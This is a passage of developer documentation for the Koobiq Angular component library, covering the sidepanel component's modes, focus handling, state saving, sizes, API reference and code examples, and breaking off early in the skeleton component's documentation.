    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="open()">
            <span>Open</span>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelDisableCloseExample {
    private readonly sidepanelService = inject(KbqSidepanelService);

    open() {
        this.sidepanelService.open(ExampleSidepanelDisableCloseContent, {
            hasBackdrop: true,
            disableClose: true
        });
    }
}
```

##### Non-modal mode (without page blocking)

When opening, the sidepanel slides in from the edge of the screen without dimming the rest of the page, so all elements behind it remain interactive.

**Example: Sidepanel normal mode** (`sidepanel-normal-mode`)

```ts sidepanel-normal-mode-example.ts
import { ChangeDetectionStrategy, Component, TemplateRef, inject, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqSidepanelModule, KbqSidepanelPosition, KbqSidepanelService } from '@koobiq/components/sidepanel';
import { take } from 'rxjs/operators';

@Component({
    selector: 'sidepanel-normal-mode-example',
    imports: [KbqSelectModule, KbqButtonModule, KbqSidepanelModule],
    templateUrl: 'sidepanel-normal-mode-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelNormalModeExample {
    private sidepanelService = inject(KbqSidepanelService);

    position = KbqSidepanelPosition.Right;

    isOpened = false;

    readonly template = viewChild.required(TemplateRef);

    arrayLength = 40;
    array = new Array(this.arrayLength);

    toggleSidepanel() {
        if (!this.isOpened) {
            const sidepanel = this.sidepanelService.open(this.template(), {
                position: this.position,
                hasBackdrop: false
            });

            sidepanel
                .afterClosed()
                .pipe(take(1))
                .subscribe(() => {
                    this.isOpened = false;
                });
            this.isOpened = true;
        } else {
            this.sidepanelService.closeAll();
        }
    }
}
```

```html sidepanel-normal-mode-example.html
<div class="kbq-form-horizontal">
    <div class="kbq-form__row">
        <label class="kbq-form__label">Position</label>
        <kbq-form-field style="min-width: 120px" class="kbq-form__control flex-10">
            <kbq-select [(value)]="position">
                <kbq-option [value]="'right'">Right</kbq-option>
                <kbq-option [value]="'left'">Left</kbq-option>
                <kbq-option [value]="'top'">Top</kbq-option>
                <kbq-option [value]="'bottom'">Bottom</kbq-option>
            </kbq-select>
        </kbq-form-field>
    </div>
</div>

<br />

<button kbq-button [color]="'contrast'" (click)="toggleSidepanel()">
    <span>{{ isOpened ? 'Close sidepanel' : 'Open sidepanel' }}</span>
</button>

<ng-template>
    <kbq-sidepanel-header [closeable]="true">Sidepanel Template Content</kbq-sidepanel-header>
    <kbq-sidepanel-body style="padding-top: 8px; padding-bottom: 8px">
        <div style="padding: 8px" class="kbq-subheading">Sidepanel Template Body</div>

        @for (item of array; track $index) {
            <div style="padding: 8px">
                {{ $index + 1 }}
            </div>
        }
    </kbq-sidepanel-body>

    <kbq-sidepanel-footer>
        <kbq-sidepanel-actions align="left">
            <button cdkFocusInitial kbq-button [color]="'contrast'">
                <span>Button</span>
            </button>
        </kbq-sidepanel-actions>

        <kbq-sidepanel-actions align="right">
            <span>Action</span>
        </kbq-sidepanel-actions>
    </kbq-sidepanel-footer>
</ng-template>
```

##### Stacked panels

You can open another sidepanel from within a sidepanel. Non-modal sidepanels stack on top of each other with an offset. Regardless of how many sidepanels are open, only a single offset is shown to avoid visual noise.

Use this mode when you want to create navigation flows within a sidepanel.

Clicking the vertical area exposed by the panel underneath closes the top panel.

**Example: Sidepanel overlayed** (`sidepanel-overlayed`)

```ts sidepanel-overlayed-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqSidepanelModule, KbqSidepanelPosition, KbqSidepanelService } from '@koobiq/components/sidepanel';

@Component({
    selector: 'sidepanel-overlayed-example',
    imports: [KbqSelectModule, KbqButtonModule, KbqSidepanelModule],
    templateUrl: './sidepanel-overlayed-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelOverlayedExample {
    protected position = KbqSidepanelPosition.Right;

    protected readonly overlaysCount = 2;

    readonly template = viewChild.required(TemplateRef);

    protected readonly arrayLength = 40;
    protected readonly array = new Array(this.arrayLength);

    private sidepanelService = inject(KbqSidepanelService);

    openSidepanel(): void {
        for (let i = 0; i < this.overlaysCount; i++) {
            this.sidepanelService.open(this.template(), {
                position: this.position,
                hasBackdrop: false
            });
        }
    }

    openAnotherSidepanel(): void {
        this.sidepanelService.open(this.template(), {
            position: this.position,
            hasBackdrop: false
        });
    }
}
```

```html ./sidepanel-overlayed-example.html
<div class="kbq-form-horizontal">
    <div class="kbq-form__row">
        <label class="kbq-form__label">Position</label>
        <kbq-form-field style="min-width: 120px" class="kbq-form__control flex-10">
            <kbq-select [(value)]="position">
                <kbq-option [value]="'right'">Right</kbq-option>
                <kbq-option [value]="'left'">Left</kbq-option>
                <kbq-option [value]="'top'">Top</kbq-option>
                <kbq-option [value]="'bottom'">Bottom</kbq-option>
            </kbq-select>
        </kbq-form-field>
    </div>
</div>

<br />

<button kbq-button [color]="'contrast'" (click)="openSidepanel()">
    <span>Open sidepanel</span>
</button>

<ng-template>
    <kbq-sidepanel-header [closeable]="true">Sidepanel Template Content</kbq-sidepanel-header>
    <kbq-sidepanel-body style="padding-top: 8px; padding-bottom: 8px">
        <div style="padding: 8px" class="kbq-subheading">Sidepanel Template Body</div>

        @for (item of array; track $index) {
            <div style="padding: 8px">
                {{ $index + 1 }}
            </div>
        }
    </kbq-sidepanel-body>

    <kbq-sidepanel-footer>
        <kbq-sidepanel-actions align="left">
            <button cdkFocusInitial kbq-button [color]="'contrast'" (click)="openAnotherSidepanel()">
                <span>Open another sidepanel</span>
            </button>
        </kbq-sidepanel-actions>

        <kbq-sidepanel-actions align="right">
            <button kbq-button kbq-sidepanel-close>
                <span>Close</span>
            </button>
        </kbq-sidepanel-actions>
    </kbq-sidepanel-footer>
</ng-template>
```

###### Mode comparison

| Modal                                        | Non-modal                                                                            |
| -------------------------------------------- | ------------------------------------------------------------------------------------ |
| Not recommended for read-only viewing        | Recommended for read-only viewing                                                    |
| Used for editing like a regular modal dialog | Used only for editing parts of a large object, without explicitly saving those parts |
| Action buttons are always required           | Action buttons are optional                                                          |

##### Focus and keyboard interaction

While a modal sidepanel is open, focus cycles only through elements inside the panel, including the close button and footer buttons, and does not leave the panel. A non-modal sidepanel leaves the page behind it interactive, so it does not trap focus; set `trapFocus: true` in `KbqSidepanelConfig` if a non-modal panel needs one.

###### Focus when the sidepanel is open

When a sidepanel opens, focus moves to an element inside it. Where focus lands depends on the nature and size of the content:

- Focus is set on the first available element inside the sidepanel body, unless there are specific requirements
- If the sidepanel contains a form, focus should be placed on the first input field
- If the sidepanel contains an important irreversible action, it is better to focus on a different, less destructive element
- If the sidepanel contains only action buttons, it is helpful to focus on the button the user is most likely to click ("OK" or "Cancel", depending on the situation)
- If the sidepanel has a lot of content with a scrollbar, setting focus on the first available element may automatically scroll the content and hide its beginning. In this case, add `tabindex=-1` to a static element at the start of the content (a heading or first paragraph) and set focus on it.

###### Focus after closing the sidepanel

When the sidepanel closes, focus returns by default to the element that triggered it (though it is unlikely the user will want to reopen the same sidepanel immediately). If the trigger element no longer exists, focus returns to another element appropriate to the interaction flow.

In some situations, focus may intentionally return to a different element than the one that originally opened the sidepanel. For example, if the task performed in the sidepanel is directly connected to the next step in the workflow. Suppose a table toolbar has an "Add rows" button. Clicking it opens a sidepanel asking for the number and format of new rows. After the sidepanel closes, focus is placed on the first cell of the first new row.

###### Keyboard controls

| Key      | Action                                                                                                                               | Built in |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------ | -------- |
| Esc      | Close the sidepanel: 1. If no data was changed in the sidepanel 2. If the focused element does not have its own handler for this key | Yes      |
| Ctrl + ↵ | Perform the primary action of the sidepanel                                                                                          | No       |
| ↵        | Submit the form when pressing Enter in any text input                                                                                | No       |

The component handles Esc itself. The other two rows are a guideline for the content you put inside the sidepanel: bind them on your own form or footer buttons.

##### Layout constraints

An open sidepanel is `position: fixed` and always carries a transform — that is what slides it in — so it is the containing block for every `position: fixed` descendant. Anything inside the panel that expects to be anchored to the viewport is anchored to the panel instead. Use `position: absolute` or `position: sticky` for decorations inside a sidepanel, and route real overlays through the CDK overlay container.

#### State Saving

A sidepanel can remember whether it was open and come back after a page reload. Pass a `stateSavingKey` in `KbqSidepanelConfig` to opt in — without one nothing is persisted.

A sidepanel cannot restore itself: it exists only while it is open. `KbqSidepanelService` keeps the flag, and the application opens the panel again:

```ts
private readonly sidepanel = inject(KbqSidepanelService);

constructor() {
    afterNextRender(() => {
        if (this.sidepanel.wasOpen('filters')) this.openFilters();
    });
}

protected openFilters(): void {
    this.sidepanel.open(this.filters(), { stateSavingKey: 'filters', hasBackdrop: false });
}
```

**Example: Sidepanel state saving** (`sidepanel-state-saving`)

```ts sidepanel-state-saving-example.ts
import {
    ChangeDetectionStrategy,
    Component,
    TemplateRef,
    afterNextRender,
    inject,
    signal,
    viewChild
} from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidepanelModule, KbqSidepanelRef, KbqSidepanelService } from '@koobiq/components/sidepanel';

const stateSavingKey = 'sidepanel-state-saving-example';

@Component({
    selector: 'sidepanel-state-saving-example',
    imports: [KbqButtonModule, KbqSidepanelModule],
    template: `
        <div class="example-sidepanel-state-saving__actions">
            <button kbq-button type="button" [color]="'contrast'" (click)="toggle()">
                {{ sidepanelRef() ? 'Close sidepanel' : 'Open sidepanel' }}
            </button>

            <button kbq-button type="button" (click)="sidepanelService.clearSavedState(stateSavingKey)">
                Reset saved state
            </button>
        </div>

        <ng-template>
            <kbq-sidepanel-header [closeable]="true">Sidepanel state saving</kbq-sidepanel-header>
            <kbq-sidepanel-body>
                <div class="example-sidepanel-state-saving__body">
                    Leave this panel open and reload the page — it opens again. The panel is non-modal, so nothing on
                    the page is blocked while it comes back.
                </div>
            </kbq-sidepanel-body>
        </ng-template>
    `,
    styles: `
        .example-sidepanel-state-saving__actions {
            display: flex;
            gap: var(--kbq-size-m);
        }

        .example-sidepanel-state-saving__body {
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelStateSavingExample {
    protected readonly sidepanelService = inject(KbqSidepanelService);
    protected readonly stateSavingKey = stateSavingKey;
    protected readonly sidepanelRef = signal<KbqSidepanelRef | null>(null);

    private readonly template = viewChild.required(TemplateRef);

    constructor() {
        // Once the view exists, so the template is there to open.
        afterNextRender(() => {
            if (this.sidepanelService.wasOpen(stateSavingKey)) this.open();
        });
    }

    protected toggle(): void {
        const opened = this.sidepanelRef();

        // Not closeAll(): closing a group is not recorded, so it would leave the panel remembered as open.
        if (opened) {
            opened.close();
        } else {
            this.open();
        }
    }

    private open(): void {
        const ref = this.sidepanelService.open(this.template(), { hasBackdrop: false, stateSavingKey });

        ref.afterClosed().subscribe(() => this.sidepanelRef.set(null));

        this.sidepanelRef.set(ref);
    }
}
```

What is recorded is a sidepanel closed on its own — the close button, the backdrop, Escape, or `KbqSidepanelRef.close()`. `closeAll()` and the service being destroyed leave the flag alone, so a panel that was open comes back. Give each panel its own key, and use `clearSavedState(key)` to forget one.

Consider what reopening does to the page: a modal sidepanel comes back with its backdrop and its focus trap, over a page the reader has not looked at yet.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Design and animation

##### Size

The panel takes up the full height of the browser window. There is no horizontal scroll — content must fit within the panel width.

| Preset | Width         |
| ------ | ------------- |
| Small  | 400           |
| Medium | 640 (default) |
| Large  | 960           |

**Example: Sidepanel sizes** (`sidepanel-sizes`)

```ts sidepanel-sizes-example.ts
import { ChangeDetectionStrategy, Component, TemplateRef, inject, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    KbqSidepanelModule,
    KbqSidepanelPosition,
    KbqSidepanelService,
    KbqSidepanelSize
} from '@koobiq/components/sidepanel';

@Component({
    selector: 'sidepanel-sizes-example',
    imports: [
        KbqButtonModule,
        KbqSidepanelModule
    ],
    templateUrl: 'sidepanel-sizes-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelSizesExample {
    private sidepanelService = inject(KbqSidepanelService);

    readonly template = viewChild.required(TemplateRef);

    arrayLength = 40;
    array = new Array(this.arrayLength);

    showSmall() {
        this.sidepanelService.open(this.template(), {
            position: KbqSidepanelPosition.Right,
            size: KbqSidepanelSize.Small
        });
    }

    showMedium() {
        this.sidepanelService.open(this.template(), {
            position: KbqSidepanelPosition.Right,
            size: KbqSidepanelSize.Medium
        });
    }

    showLarge() {
        this.sidepanelService.open(this.template(), {
            position: KbqSidepanelPosition.Right,
            size: KbqSidepanelSize.Large
        });
    }
}
```

```html sidepanel-sizes-example.html
<div style="width: 200px" class="layout-column">
    <button kbq-button class="layout-margin-bottom-l" (click)="showSmall()">Small</button>

    <button kbq-button class="layout-margin-bottom-l" (click)="showMedium()">Medium</button>

    <button kbq-button (click)="showLarge()">Large</button>
</div>

<ng-template>
    <kbq-sidepanel-header [closeable]="true">Sidepanel Template Content</kbq-sidepanel-header>
    <kbq-sidepanel-body
        style="--kbq-sidepanel-size-content-padding-top: 8px; --kbq-sidepanel-size-content-padding-bottom: 8px"
    >
        <div style="padding: 8px" class="kbq-subheading">Sidepanel Template Body</div>

        @for (item of array; track $index) {
            <div style="padding: 8px">
                {{ $index + 1 }}
            </div>
        }
    </kbq-sidepanel-body>

    <kbq-sidepanel-footer>
        <kbq-sidepanel-actions align="left">
            <button cdkFocusInitial kbq-button [color]="'contrast'">
                <span>Button</span>
            </button>
        </kbq-sidepanel-actions>

        <kbq-sidepanel-actions align="right">
            <span>Action</span>
        </kbq-sidepanel-actions>
    </kbq-sidepanel-footer>
</ng-template>
```

The width is chosen by the designer and analyst based on the task. In addition to a fixed pixel width, the width can be set as a percentage of the total screen width, with defined minimum and maximum pixel values. Percentages allow the sidepanel to scale proportionally, while the limits prevent it from becoming too wide or too narrow. In specific cases a plain fixed pixel width can be used.

When choosing the sidepanel size, consider the following:

- Content size. A panel that is too wide or too narrow looks poor.
- Page grid. It looks good when the sidepanel appears proportional on the page and aligns with other blocks. Ideal sidepanel proportions: 1/4, 1/3, 1/2, 2/3, or 3/4 of the main window.
- Usage scenarios. If a non-modal panel is used to view an item from a list, it should ideally not cover the entire list — this preserves the ability to quickly switch between items. If a non-modal panel is used to organize parallel workspaces, verify that the areas do not interfere with each other or with the primary workflow.
- Consistency. The product will look cleaner and more cohesive if it does not use many sidepanels with different widths. Ideally, use one size, two at most.

### API

#### Components

##### KbqSidepanelContainerComponent (component)

```ts
@Component({ selector: 'kbq-sidepanel-container' })
class KbqSidepanelContainerComponent extends BasePortalOutlet {
    sidepanelConfig: KbqSidepanelConfig<any>;
    withIndent: boolean;
    id: string;
    readonly portalOutlet: Signal<CdkPortalOutlet>;
    readonly attachDomPortal: ((portal: DomPortal<HTMLElement>) => any) | null;
    attachComponentPortal<T>(
        portal: ComponentPortal<T>
    ): ComponentRef<T>;
    attachTemplatePortal<C>(
        portal: TemplatePortal<C>
    ): EmbeddedViewRef<C>;
    enter(): void;
    exit(): void;
    hasAttached(): boolean;
    attach<T>(portal: ComponentPortal<T>): ComponentRef<T>;
    attach<T>(portal: TemplatePortal<T>): EmbeddedViewRef<T>;
    attach(portal: any): any;
    detach(): void;
    dispose(): void;
}
```

- `withIndent`: `boolean` — Whether the panel exposes the clickable indent strip of the sidepanel stacked underneath it.
- `id`: `string` — ID for the container DOM element.
- `portalOutlet`: `Signal<CdkPortalOutlet>` — The portal outlet inside of this container into which the content will be loaded.
- `attachComponentPortal()`: `ComponentRef<T>` — Attach a component portal as content to this sidepanel container.
- `attachTemplatePortal()`: `EmbeddedViewRef<C>` — Attach a template portal as content to this sidepanel container.
- `enter()`: `void` — Begin animation of the sidepanel entrance into view.
- `exit()`: `void` — Begin animation of the sidepanel exiting from view.
- `hasAttached()`: `boolean` — Whether this host has an attached portal.
- `detach()`: `void` — Detaches a previously attached portal.
- `dispose()`: `void` — Permanently dispose of this portal host.

##### KbqSidepanelHeader (component)

Header of a sidepanel.

```ts
@Component({ selector: 'kbq-sidepanel-header' })
class KbqSidepanelHeader {
    readonly closeable = input<boolean>(false);
    readonly truncateText = input<boolean>(true);
}
```

- `[closeable]`: `boolean` — Add button for close sidepanel. Default false
- `[truncateText]`: `boolean` — Enables text truncation. Default true
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

#### Directives

##### KbqSidepanelActions (directive)

Actions block of a sidepanel footer.

```ts
@Directive({
    selector: 'kbq-sidepanel-actions, [kbq-sidepanel-actions], kbqSidepanelActions'
})
class KbqSidepanelActions {}
```

##### KbqSidepanelBody (directive)

Scrollable content container of a sidepanel.

```ts
@Directive({
    selector: 'kbq-sidepanel-body, [kbq-sidepanel-body], kbqSidepanelBody'
})
class KbqSidepanelBody {}
```

##### KbqSidepanelClose (directive)

Button that will close the current sidepanel.

```ts
@Directive({
    selector: 'button[kbq-sidepanel-close], button[kbqSidepanelClose]'
})
class KbqSidepanelClose {
    readonly sidepanelResult = input<any>(undefined, {
        alias: 'kbq-sidepanel-close'
    });
    readonly kbqSidepanelClose = input<any>();
    get sidepanelRef(): KbqSidepanelRef;
}
```

- `[kbq-sidepanel-close]`: `any` — Value handed to `KbqSidepanelRef.close()`, under the hyphenated spelling of the selector.
- `[kbqSidepanelClose]`: `any` — The same value, under the camel-case spelling.
- `sidepanelRef`: `KbqSidepanelRef` — Sidepanel the button closes: the one it is rendered in. A button rendered outside any sidepanel, such as
  an item of a dropdown opened from one, closes the sidepanel its template is declared in.

##### KbqSidepanelFooter (directive)

Footer of a sidepanel.

```ts
@Directive({
    selector: 'kbq-sidepanel-footer, [kbq-sidepanel-footer], kbqSidepanelFooter'
})
class KbqSidepanelFooter {}
```

#### Services

##### KbqSidepanelService (service)

```ts
@Injectable({ providedIn: 'root' })
class KbqSidepanelService {
    get openedSidepanels(): KbqSidepanelRef[];
    open<T, D = any>(
        componentOrTemplateRef: ComponentType<T> | TemplateRef<T>,
        config?: KbqSidepanelConfig<D>
    ): KbqSidepanelRef<T>;
    closeAll(): void;
    wasOpen(key: string): boolean;
    clearSavedState(key: string): void;
    getSidepanelById(id: string): KbqSidepanelRef | undefined;
}
```

- `openedSidepanels`: `KbqSidepanelRef[]` — Keeps track of the currently-open sidepanels.
- `closeAll()`: `void` — Closes all of the currently-open sidepanels.

  Closing as a group is not recorded — see `wasOpen()`.
- `wasOpen()`: `boolean` — Whether the sidepanel persisted under `key` was open when it was last recorded, so the
  application can open it again:

  ```ts
  if (sidepanel.wasOpen('filters')) this.openFilters();
  ```

  A sidepanel cannot restore itself the way the components that persist do. It exists only while it
  is open, so at the point the state would be read there is nothing left to read it — and what to
  reopen is a component class or a `TemplateRef` and its `data`, none of which survives being
  written to storage. This service keeps the flag; the application keeps the rest.

  What is recorded is a sidepanel opened and closed on its own. Closing a group — `closeAll()`, or
  this service being destroyed — leaves the flag alone, so a panel that was open when the page went
  away comes back whether the page was reloaded or navigated away from.

  Reading claims the key: from here on `KbqStateSavingService` reports the entry as this service's
  rather than orphaned. It has to happen on read, because for a sidepanel that is not open this is
  the only call there is.
- `clearSavedState()`: `void` — Removes what is persisted under `key`.

  Persistence itself stays on: a sidepanel opened under that key again is recorded again.
- `getSidepanelById()`: `KbqSidepanelRef | undefined` — Finds an open sidepanel by its id.
  - `id`: `string` — ID to use when looking up the sidepanel.

#### Classes

##### KbqSidepanelConfig (class)

```ts
class KbqSidepanelConfig<D = any> {
    id?: string;
    stateSavingKey?: string;
    trapFocus?: boolean;
    trapFocusAutoCapture?: boolean;
    ariaLabel?: string;
    ariaLabelledBy?: string;
    data?: D | null;
    position?: KbqSidepanelPosition;
    size?: KbqSidepanelSize;
    hasBackdrop?: boolean;
    backdropClass?: string;
    disableClose?: boolean;
    overlayPanelClass?: string | string[];
    injector?: Injector;
    scrollStrategy?: () => ScrollStrategy;
}
```

- `id?`: `string` — ID for the sidepanel. If omitted, a unique one will be generated.
- `stateSavingKey?`: `string` — Persists whether this sidepanel is open, under this key, so the application can bring it back on
  the next visit — see `KbqSidepanelService.wasOpen()`.

  Omit it and nothing is persisted. The key is the opt-in because there is nothing else stable to
  persist under: a sidepanel lives in an overlay, and `id` falls back to a counter that means
  something different on every load.
- `trapFocus?`: `boolean` — Whether the focus trap is active. Defaults to whether the sidepanel has a backdrop.
- `trapFocusAutoCapture?`: `boolean` — capture focus on initialization. This option sets cdkTrapFocusAutoCapture. Defaults to `true`.
- `ariaLabel?`: `string` — Accessible name of the sidepanel, used when no `kbq-sidepanel-header` names it and no
  `ariaLabelledBy` is given.
- `ariaLabelledBy?`: `string` — Id of the element that labels the sidepanel. When omitted, `kbq-sidepanel-header` labels the
  sidepanel with its own title.
- `data?`: `D | null` — Data being injected into the child component.
- `hasBackdrop?`: `boolean` — Whether the sidepanel has a backdrop.
- `disableClose?`: `boolean` — Whether the user can use escape or clicking outside to close the sidepanel.
- `overlayPanelClass?`: `string | string[]` — Custom class for the overlay pane.
- `injector?`: `Injector` — Injector used for the instantiation of the component to be attached.
  Allows to pass a custom injector to provide a dependency injection hierarchy for the sidepanel content.
- `scrollStrategy?`: `() => ScrollStrategy` — Scroll strategy of the sidepanel overlay, resolved once when the sidepanel opens.
  Defaults to blocking the page scroll for sidepanels with a backdrop and to repositioning for the rest.

##### KbqSidepanelRef (class)

```ts
class KbqSidepanelRef<T = any, R = any> {
    readonly id: string;
    readonly bodyOverflow: WritableSignal<KbqOverflowShadowState>;
    instance: T;
    readonly containerInstance: KbqSidepanelContainerComponent;
    readonly overlayRef: OverlayRef;
    readonly config: KbqSidepanelConfig<any>;
    constructor(
        containerInstance: KbqSidepanelContainerComponent,
        overlayRef: OverlayRef,
        config: KbqSidepanelConfig<any>
    );
    close(result?: R): void;
    beforeClosed(): Observable<void>;
    afterClosed(): Observable<R | undefined>;
    afterOpened(): Observable<void>;
}
```

- `bodyOverflow`: `WritableSignal<KbqOverflowShadowState>` — Vertical scroll overflow state of the sidepanel body.
  Updated on scroll and used for visual adjustments.
- `instance`: `T` — Instance of the component making up the content of the sidepanel.
- `beforeClosed()`: `Observable<void>` — Gets an observable that is notified when the sidepanel is started closing.
- `afterClosed()`: `Observable<R | undefined>` — Gets an observable that is notified when the sidepanel is finished closing.
- `afterOpened()`: `Observable<void>` — Gets an observable that is notified when the sidepanel has opened and appeared.

#### Types

##### KbqSidepanelState (interface)

The persisted state of a sidepanel — whether it was open.

```ts
interface KbqSidepanelState {
    opened: boolean;
}
```

#### Enums

##### KbqSidepanelPosition (enum)

```ts
enum KbqSidepanelPosition {
    Right = 'right',
    Left = 'left',
    Top = 'top',
    Bottom = 'bottom'
}
```

##### KbqSidepanelSize (enum)

```ts
enum KbqSidepanelSize {
    Small = 'small',
    Medium = 'medium',
    Large = 'large'
}
```

#### Constants

##### KBQ_SIDEPANEL_DATA (const)

Injection token that can be used to access the data that was passed in to a sidepanel.

```ts
const KBQ_SIDEPANEL_DATA: InjectionToken<any>;
```

##### KBQ_SIDEPANEL_DEFAULT_OPTIONS (const)

Injection token that can be used to specify default sidepanel options.

```ts
const KBQ_SIDEPANEL_DEFAULT_OPTIONS: InjectionToken<KbqSidepanelConfig>;
```

##### KBQ_SIDEPANEL_WITH_INDENT (const)

```ts
const KBQ_SIDEPANEL_WITH_INDENT: InjectionToken<boolean>;
```

### Examples

#### Dynamic configuration update

`disableClose` is re-read every time the sidepanel is about to close, so it can be changed after the sidepanel is already open, via `KbqSidepanelRef.config`. The rest of `KbqSidepanelConfig` is read once, when the sidepanel opens.

**Example: Sidepanel with dynamic config update example** (`sidepanel-with-dynamic-config-update`)

```ts sidepanel-with-dynamic-config-update-example.ts
import { ChangeDetectionStrategy, Component, inject, model } from '@angular/core';
import { takeUntilDestroyed, toObservable } from '@angular/core/rxjs-interop';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    KBQ_SIDEPANEL_DATA,
    KbqSidepanelModule,
    KbqSidepanelRef,
    KbqSidepanelService
} from '@koobiq/components/sidepanel';
import { KbqToggleModule } from '@koobiq/components/toggle';

type ExampleComponentData = {
    open: () => void;
};

@Component({
    selector: 'example-sidepanel-component',
    imports: [KbqSidepanelModule, KbqButtonModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-sidepanel-header [closeable]="true">Header</kbq-sidepanel-header>
        <kbq-sidepanel-body>
            <kbq-toggle [(ngModel)]="disableClose">Disable close</kbq-toggle>
        </kbq-sidepanel-body>
        <kbq-sidepanel-footer>
            <kbq-sidepanel-actions>
                <button kbq-button color="contrast" (click)="open()">
                    <span>Open another sidepanel</span>
                </button>

                <button kbq-button kbq-sidepanel-close>
                    <span>Close</span>
                </button>
            </kbq-sidepanel-actions>
        </kbq-sidepanel-footer>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleSidepanelComponent {
    private readonly sidepanelRef = inject(KbqSidepanelRef);
    private readonly data: ExampleComponentData = inject(KBQ_SIDEPANEL_DATA);

    protected readonly disableClose = model(this.sidepanelRef.config.disableClose);
    protected readonly open = this.data.open;

    constructor() {
        toObservable(this.disableClose)
            .pipe(takeUntilDestroyed())
            .subscribe((value) => {
                this.sidepanelRef.config.disableClose = value;
            });
    }
}

@Component({
    selector: 'sidepanel-with-dynamic-config-update-example',
    imports: [FormsModule, KbqButtonModule],
    template: `
        <button kbq-button (click)="open()">
            <span>Open</span>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelWithDynamicConfigUpdateExample {
    private readonly sidepanelService = inject(KbqSidepanelService);

    open() {
        this.sidepanelService.open<ExampleSidepanelComponent, ExampleComponentData>(ExampleSidepanelComponent, {
            data: { open: () => this.open() }
        });
    }
}
```

#### Custom injector

The `injector` option in `KbqSidepanelConfig` allows passing a custom `Injector` as the parent for the sidepanel content's dependency injection hierarchy. This is useful when you need to provide injection tokens that are not available in the global injector — for example, tokens from a specific component, route, or lazily loaded module.

**Example: Sidepanel with custom injector** (`sidepanel-with-custom-injector`)

```ts sidepanel-with-custom-injector-example.ts
import { ChangeDetectionStrategy, Component, inject, InjectionToken, Injector } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqSidepanelModule, KbqSidepanelService } from '@koobiq/components/sidepanel';

export const EXAMPLE_SIDEPANEL_TOKEN = new InjectionToken<{ name: string; role: string }>('SidepanelUser');

@Component({
    selector: 'example-sidepanel-with-custom-injector-content',
    imports: [KbqSidepanelModule, KbqButtonModule],
    template: `
        <kbq-sidepanel-header [closeable]="true">User info</kbq-sidepanel-header>
        <kbq-sidepanel-body>
            <p>Name: {{ user.name }}</p>
            <p>Role: {{ user.role }}</p>
        </kbq-sidepanel-body>
        <kbq-sidepanel-footer>
            <kbq-sidepanel-actions>
                <button kbq-button kbq-sidepanel-close>Close</button>
            </kbq-sidepanel-actions>
        </kbq-sidepanel-footer>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleSidepanelWithCustomInjectorContent {
    protected readonly user = inject(EXAMPLE_SIDEPANEL_TOKEN);
}

@Component({
    selector: 'sidepanel-with-custom-injector-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="open()">
            <span>Open</span>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SidepanelWithCustomInjectorExample {
    private readonly injector = inject(Injector);
    private readonly sidepanelService = inject(KbqSidepanelService);

    open() {
        this.sidepanelService.open(ExampleSidepanelWithCustomInjectorContent, {
            injector: Injector.create({
                parent: this.injector,
                providers: [
                    {
                        provide: EXAMPLE_SIDEPANEL_TOKEN,
                        useValue: { name: 'John Doe', role: 'Administrator' }
                    }
                ]
            })
        });
    }
}
```

## Skeleton

- Entry point: `@koobiq/components/skeleton`
- NgModule: `KbqSkeletonModule`
- Page: https://koobiq.io/en/components/skeleton/overview

### Overview

A skeleton is a temporary placeholder that previews the approximate shape of content while it loads. Use one when you know where the elements will appear.

#### Basic block

The `<kbq-skeleton>` element is a basic rectangular block. Set its width and height with CSS. Combine several blocks into a custom composition when no preset fits.

**Example: Skeleton basic block** (`skeleton-basic`)

```ts skeleton-basic-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSkeleton } from '@koobiq/components/skeleton';

@Component({
    selector: 'skeleton-basic-example',
    imports: [KbqSkeleton],
    template: `
        <kbq-skeleton class="example-skeleton" />
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
        }

        .example-skeleton {
            inline-size: 50%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonBasicExample {}
```

#### Presets

Presets are ready-made placeholders for Koobiq components. Combine them to create a placeholder for an entire page.

##### Typography

`KbqSkeletonTypography` creates a placeholder with line heights that match the selected [Koobiq typography style](https://koobiq.io/en/main/design-tokens.md). When there are several lines, their widths alternate randomly. The uneven right edge makes the placeholder look more like a paragraph.

**Example: Skeleton typography preset** (`skeleton-typography`)

```ts skeleton-typography-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSkeletonTypography } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-typography-example',
    imports: [KbqSkeletonTypography, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <div class="example-content">
                <kbq-skeleton-typography class="example-overline" level="caps-compact" />
                <kbq-skeleton-typography class="example-title" level="title" />
